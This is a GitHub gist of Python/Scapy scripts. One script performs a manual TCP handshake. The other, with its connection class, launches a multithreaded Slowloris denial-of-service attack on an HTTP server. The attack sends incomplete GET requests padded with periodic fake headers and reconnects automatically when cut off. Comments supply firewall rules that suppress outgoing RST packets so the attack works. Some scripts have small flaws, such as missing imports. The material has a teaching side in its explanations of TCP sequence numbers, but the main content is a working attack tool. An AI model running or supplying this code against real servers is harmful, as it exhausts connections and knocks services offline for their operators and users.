Skip to content

Instantly share code, notes, and snippets.

@Kafva
Last active February 9, 2020 05:59
Show Gist options
  • Save Kafva/86ecf681d7c37fc2a2494824ad7da933 to your computer and use it in GitHub Desktop.
Save Kafva/86ecf681d7c37fc2a2494824ad7da933 to your computer and use it in GitHub Desktop.
Scapy scripts to perform a TCP handshake and an attempted slow lorris attack
#!/usr/bin/env python3
from sys import argv
import TCP_Connection
from random import randint
from scapy.all import IP, TCP
conf.use_pcap = True
# All HTTP packets require the intial header with the method and HTTP version
# and the Host: field corresponding to the URL used to fetch the resource
#----------------------------------------------#
# NOTE that by default the kernel will send out a RST after recieving the SYN-ACK packet
# which means that the 3-way-handshake becomes interrupted, to solve this one needs
# to implement a firewall rule that drops outgoing RST packets
# iptables -A OUTPUT -p tcp --dport 8080 --tcp-flags RST RST -j DROP
# or in pf
# block drop out quick proto tcp to any port 8080 flags R/R
# Fancy way of monitoiring the incoming connections on the server
# watch "netstat -tunap | grep ':8080'"
#----------------------------------------------#
if 2 <= len(argv) <= 4:
if len(argv[1].split(':')) != 2:
exit("usage: ./handshake <IP>:<dport> [verbosity 0...5]")
if len(argv) == 3:
verbose=int(argv[2])
else:
verbose = 0
else:
exit("usage: ./handshake <IP>:<dport> [verbosity 0...5]")
#----------------------------------------------#
dst = argv[1].split(':')[0]
dport = int(argv[1].split(':')[1])
sport = randint(5000,50000)
src = IP(dst=dst).src
conn = TCP_Connection.TCP_Connection(dst=dst, dport=dport, src=src, sport=sport, seq=randint(0,2**32),
ack=0, rel_seq=True, verbose=verbose, scenario=1)
conn.send_syn()
print("[Used port {}]".format(conn.sport))
#!/usr/bin/env python3
from sys import argv
import TCP_Connection
from random import randint
from scapy.all import IP, TCP
from threading import Thread, enumerate as th_enumerate
import time
conf.use_pcap = True
if 2 <= len(argv) <= 5:
if len(argv[1].split(':')) != 2:
exit("usage: ./lorris <IP>:<dport> <sessions> <times> <delay>")
if len(argv) >= 3:
sessions=int(argv[2])
else:
sessions=10
if len(argv) >= 4:
times=int(argv[3])
else:
times=0
if len(argv) == 5:
delay=int(argv[4])
else:
delay=3
else:
exit("usage: ./lorris <IP>:<dport> <sessions> <times> <delay>")
#----------------------------------------------#
### Ensure that outgoing RST packets are blocked to the port/host that is being targeted ###
# To run a thread for as long as the server is responding simply set a high 'times' value
# watch "apache2ctl status"
dst = argv[1].split(':')[0]
dport = int(argv[1].split(':')[1])
src = IP(dst=dst).src
sport = randint(4000, 40000)
# GET / HTTP/1.1
# Host: <host>
# X-header-1: <...>
# X-header-2: <...>
# ....
# Valid HTTP Request (\r\n = 0D 0A) is used for newlines
# 47 45 54 20 2F 20 48 54 54 50 2F 31 2E 31 0D 0A GET / HTTP/1.1..
# 48 6F 73 74 3A 20 31 39 32 2E 31 36 38 2E 30 2E Host: 192.168.0.
# 31 36 32 0D 0A 0D 0A 162....
# ===> bytes("GET / HTTP/1.1\r\nHost: {}\r\n\r\n".format(self.dst), 'ascii')
# A slow lorris attack utilises the fact that an HTTP header can contain an arbitrary ammount of extra headers
# user defined headers (usually prefixed with X-) and the fact that an HTTP request needs to
# be terminated with an empty line before being processed
# We can therefore send an incomplete HTTP request and then periodically send more packets containing
# a few more lines of headers keeping the connection alive
sport = randint(4000,60000)
sports = []
threads = []
for i in range(0,sessions):
# Init threads
while sport in sports:
sport = randint(4000,60000)
conn = TCP_Connection.TCP_Connection(dst=dst, dport=dport, src=src, sport=sport, seq=randint(0,2**32),
ack=0, rel_seq=True, verbose=-1, scenario=3, times=times, delay=delay)
# Save the number of packets sent by the thread before it lost its connection
sent = 0
# Save the thread to execute and its source port
threads.append( (Thread(None, conn.handle_reply, args=[None, sent] ), sport, sent) )
sports.append(sport)
for th_tuple in threads:
# Run threads
print("≈≈≈ Started thread [port {}] ≈≈≈".format(th_tuple[1]))
th_tuple[0].start()
# Give some space in between each thread
time.sleep(3)
print("≈≈≈ #{} thread(s) running... ≈≈≈".format(len(th_enumerate())-1))
from scapy.all import *
from random import randint
from sys import maxsize
from time import sleep
from threading import Thread
load_layer('http')
conf.use_pcap = True
# SEQ: Updated when an acknowldegment that ensures the data transmitted has been recieved
#
# The next-sequence number for the sender will correspond to (sender-SEQ) + (size of sent TCP data)
# and is incremented once an ACKNOWLEDGMENT of (sender-SEQ) + (size of sent TCP data)
# is recieved
# ACK: Updated in accordance with the size of the recieved PAYLOAD
class TCP_Connection:
def __init__(self, dst, dport, src, sport, seq=randint(0,2**32), ack=0, rel_seq=False,verbose=0, scenario=1, times=10, delay=3):
self.src = src
self.dst = dst
self.dport = dport
self.sport = sport
self.seq = seq
self.ack = ack
self.next_seq = self.seq
# Relative sequence numbers
self.rel_seq = rel_seq
self.src_seed = self.seq
self.dst_seed = 0
# Modifiers
self.verbose = verbose
self.scenario = scenario
# Slow lorris
self.times = times
self.delay = delay
#-----------------SEND/RECIEVE-----------------------#
def recieveHTTP(self,pkt):
if self.verbose >= 5: pkt.show()
# Send the GET request
send(pkt)
# Update the sequence number in accordance with the GET request size
# The ensuing ACKs within the HTTP processing loops will be empty and thereby
# not increase the sequence number
self.seq += len(pkt[TCP]) - 20
HTML = b''
done = False
FIN = False
sniffed = True
prev_seq = 0
content_length = maxsize
# We will keep on capturing data until we recieve a response with the PSH flag set
# Or until we don't recieve any responses
while not done and not FIN and sniffed:
# Capture all repsonses with the correct acknowledgment number
sniffed = sniff(filter="tcp port {}".format(self.dport), lfilter=self.match_reply, timeout=3)
print("-------HTTP replies---------")
print(" **** ({}) ****".format(len(sniffed)))
for reply in sniffed:
# Update the ACK number for each response
# which isn't a retransmission
if reply[TCP].seq >= prev_seq:
prev_seq = reply[TCP].seq
self.ack += int(reply[IP].len - (reply[IP].ihl*32/8) - (reply[TCP].dataofs*32/8) )
self.printPacket(reply)
if reply.haslayer(HTTP):
HTML += reply[HTTP].load
if reply.haslayer(HTTPResponse):
# NOTE that only the first packet in the HTTP stream will contain the
# header wherein we can extract the Content_Length
# and NOTE that the content_length does NOT include the HTTP response header
# and that the HTML object is kept in BYTE not STR format to adhear with it
content_length = int(reply[HTTPResponse].Content_Length)
# Technically one should be able to stop processing packets once a PSH packet
# is recieved but this doesn't work in (at least not agianst an Nginx server)
# since both the next-to-last and last packets have PSH set
if len(HTML) > content_length:
print("≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈")
print("Total recieved data exceeding Content_Length ({}), packet processing cancelled!".format(content_length))
print("≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈")
done = True
break
if re.match('F', str(reply[TCP].flags)):
print("≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈")
print("Recieved FIN flag, terminating transmission")
print("≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈")
FIN = True
break
else:
print("≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈")
print("Caught retransmission, skipping packet:")
self.printPacket(reply)
print("≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈")
print("----------------------------")
if FIN and sniffed:
# If a FIN flag was recieved move right along to answer it
self.send_fin()
elif sniffed:
# Acknowledge the recieved data (if any)
self.send_ack()
self.HTMLrepr(HTML, "index.html")
return FIN
def sendrecv(self,pkt,timeout=3):
### SEQ and ACK are updated here ####
if self.verbose >= 5: pkt.show()
send(pkt,verbose=self.verbose + 1)
sniffed = sniff(filter="tcp port {}".format(self.dport), lfilter=self.match_reply, count=1, timeout=timeout)
if not sniffed:
if self.rel_seq:
if self.scenario != 3:
exit("No replies recieved with ACK = {}".format(self.next_seq - self.src_seed))
else:
return None
else:
if self.scenario != 3:
exit("No replied recieved with ACK = {}".format(self.next_seq ))
else:
return None
reply = sniffed[0]
if re.match( 'F|S', str(reply[TCP].flags)):
# If a SYN-ACK is recieved update the base-ack number to the sequence used by the server and incrment
# by one regardless of the payload size (applies for FIN packets as well)
self.ack = reply[TCP].seq + 1
if self.rel_seq: self.dst_seed = reply[TCP].seq
else:
# Increment the acknowledgment number based upon the payload length in TCP pkt
self.ack += int(reply[IP].len - (reply[IP].ihl*32/8) - (reply[TCP].dataofs*32/8) )
# Update the sequence number
self.seq = self.next_seq
return reply
def match_reply(self,pkt):
''' The matching ensures that the ACK from the "server" corresponds to the
expected sequence number from the ammount of data that was sent '''
if pkt.haslayer(IP) and pkt.haslayer(TCP):
if pkt[IP].src == self.dst and pkt[IP].dst == self.src \
and pkt[TCP].dport == self.sport and pkt[TCP].sport == self.dport \
and pkt[TCP].ack == self.next_seq:
return True
return False
#----------------PACKET METHODS-----------------------#
def send_syn(self):
pkt = IP(dst=self.dst,src=self.src)/TCP(dport=self.dport, sport=self.sport, seq=self.seq, ack=self.ack)
pkt[TCP].flags = 'S'
# Update the expected next SEQ value based upon the size of the data sent (1 for SYN since their is no payload)
self.next_seq = self.seq + 1
self.printPacket(pkt)
reply = self.sendrecv(pkt)
self.printPacket(reply)
self.handle_reply(reply)
def send_ack(self):
pkt = IP(dst=self.dst,src=self.src)/TCP(dport=self.dport, sport=self.sport, seq=self.seq, ack=self.ack)
pkt[TCP].flags = 'A'
##### NOTE that we don't need an ACK for an ACK, we could just terminate and not wait for a response when sending
##### an empty payload... IF you want a response however you need to provide data in the payload
##### to trigger an increase in the servers ACK
#pkt = pkt/("X"*1)
# Update the expected next SEQ value based upon the size of the data sent (nothing)
self.next_seq = self.seq
self.printPacket(pkt)
# We don't expect an answer from the ACK to an empty SYN-ACK
send(pkt,verbose=self.verbose + 1)
def send_fin(self):
pkt = IP(dst=self.dst,src=self.src)/TCP(dport=self.dport, sport=self.sport, seq=self.seq, ack=self.ack)
pkt[TCP].flags = 'FA'
# FIN packets work like SYN packets in that they increment the sequence number by one
# (as if they had a payload size of 1)
self.next_seq = self.seq + 1
self.printPacket(pkt)
reply = self.sendrecv(pkt)
self.printPacket(reply)
self.handle_reply(reply)
def send_final_ack(self):
pkt = IP(dst=self.dst,src=self.src)/TCP(dport=self.dport, sport=self.sport, seq=self.seq, ack=self.ack)
pkt[TCP].flags = 'A'
# No data transmitted, don't update the expected ACK value
self.next_seq = self.seq
self.printPacket(pkt)
send(pkt,verbose=self.verbose + 1)
def send_GET(self,data):
pkt = IP(dst=self.dst,src=self.src)/TCP(dport=self.dport, sport=self.sport, seq=self.seq, ack=self.ack)/data
# The PUSH flag is used to notify the reciever that the application layer content written to the socket
# should be forwarded immediatelly. I.e. once a HTTP request is completed (over one more packets) a PUSH
# flag will be added in the last packet to notify the recipent that no more data is coming in regards to
# the perticular service (for now).
# The reason why we need a PUSH action comes from the fact that the TCP stack buffers data by default and
# doesn't forward it to higher protocols until the buffer is filled.
# The PSH flag is therefore set in all session based traffic such as SSH and Telnet to avoid buffering
# of key-inputs, the URG flag is used for similar reasons but isn't as common today
pkt[TCP].flags = 'PA'
self.next_seq = self.seq + ( len(pkt[TCP]) - 20 )
self.printPacket(pkt)
return self.recieveHTTP(pkt)
def send_incomplete_GETs(self,times=10,delay=1):
''' Sends an intial request missing the empty line given from an additional \'\r\n\' followed by nonsens headers
every <delay> seconds over <times> iterations '''
data = bytes("GET / HTTP/1.1\r\nHost: {}\r\n".format(self.dst), 'ascii')
successes = 0
for i in range(0,times):
# The sleep function will shift control to another running thread
time.sleep(delay)
# Since we don't want the server to push the request to the application layer we omit the PSH flag
# Note that we recreate the packet each time to make sure that we get the correct SEQ and ACK values
pkt = IP(dst=self.dst,src=self.src)/TCP( flags='A',dport=self.dport, sport=self.sport, seq=self.seq, ack=self.ack)/data
self.next_seq = self.seq + len(data)
self.printPacket(pkt)
reply = self.sendrecv(pkt)
if not reply: break
self.printPacket(reply)
data = bytes("X-header-{}: {}\r\n".format(i, 42 ), 'ascii')
successes += 1
return successes
#----------------------MISC---------------------------#
def handle_reply(self,reply,sent=0):
''' Scenario 1 initiates a TCP connection with 3-way-handshake and immediatelly terminates it
afterwards with a FIN handshake. Scenario 2 sends a GET request after establishing a connection
and thereafter closes it using a FIN handshake. In scenario 3 we issue a DoS attack by sending an incomplete
HTTP request missing the last required line feed and skip sending a FIN to close the connection '''
if self.scenario == 1:
if reply[TCP].flags == 'SA':
self.send_ack()
self.send_fin()
elif reply[TCP].flags == 'FA':
self.send_final_ack()
elif self.scenario == 2:
if reply[TCP].flags == 'SA':
self.send_ack()
FIN = self.send_GET(HTTP()/HTTPRequest(Host=self.dst))
if not FIN:
self.send_fin()
elif reply[TCP].flags == 'FA':
self.send_final_ack()
elif self.scenario == 3:
if not reply:
self.send_syn()
elif reply[TCP].flags == 'SA':
self.send_ack()
sent = self.send_incomplete_GETs(self.times, self.delay)
print("[{}] Connection terminated. Reestablishing...".format( self.sport ))
# Instead of terminating once the connection times out, reinitate it
self.seq = randint(1,100000)
self.sport = randint(4000,60000)
self.ack = 0
self.handle_reply(None,sent)
elif reply[TCP].flags == 'FA':
self.send_final_ack()
def HTMLrepr(self,HTML,filename):
if self.verbose:
print("----------------------------")
print("Writing HTTP response data to {}...".format(filename))
with open(filename, "wb") as f:
f.write(HTML)
def printPacket(self,pkt):
if pkt and self.verbose >= 0:
if pkt[IP].src == self.src:
if self.rel_seq:
print("[{}] Sent: ({}) > {}:{}\t\t(seq={}, ack={})\t\tpayload = {} byte(s)".format( self.sport, pkt[TCP].flags, self.dst, self.dport, self.seq - self.src_seed, self.ack - self.dst_seed, len(pkt[TCP]) - 20 ))
else:
print("[{}] Sent: ({}) > {}:{}\t\t(seq={}, ack={})\tpayload = {} byte(s)".format(self.sport, pkt[TCP].flags, self.dst, self.dport, self.seq, self.ack, int(len(pkt[TCP]) - 20) ))
else:
if self.rel_seq:
print("[{}] Recieved: ({}) < {}:{}\t(seq={}, ack={})\t\tpayload = {} byte(s)".format( self.sport, pkt[TCP].flags, pkt[IP].src, pkt[TCP].sport, pkt[TCP].seq - self.dst_seed, pkt[TCP].ack - self.src_seed, int(pkt[IP].len - (pkt[IP].ihl*32/8) - (pkt[TCP].dataofs*32/8) )))
else:
print("[{}] Recieved: ({}) < {}:{}\t(seq={}, ack={})\tpayload = {} byte(s)".format( self.sport, pkt[TCP].flags, pkt[IP].src, pkt[TCP].sport, pkt[TCP].seq, pkt[TCP].ack, int(pkt[IP].len - (pkt[IP].ihl*32/8) - (pkt[TCP].dataofs*32/8) )))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment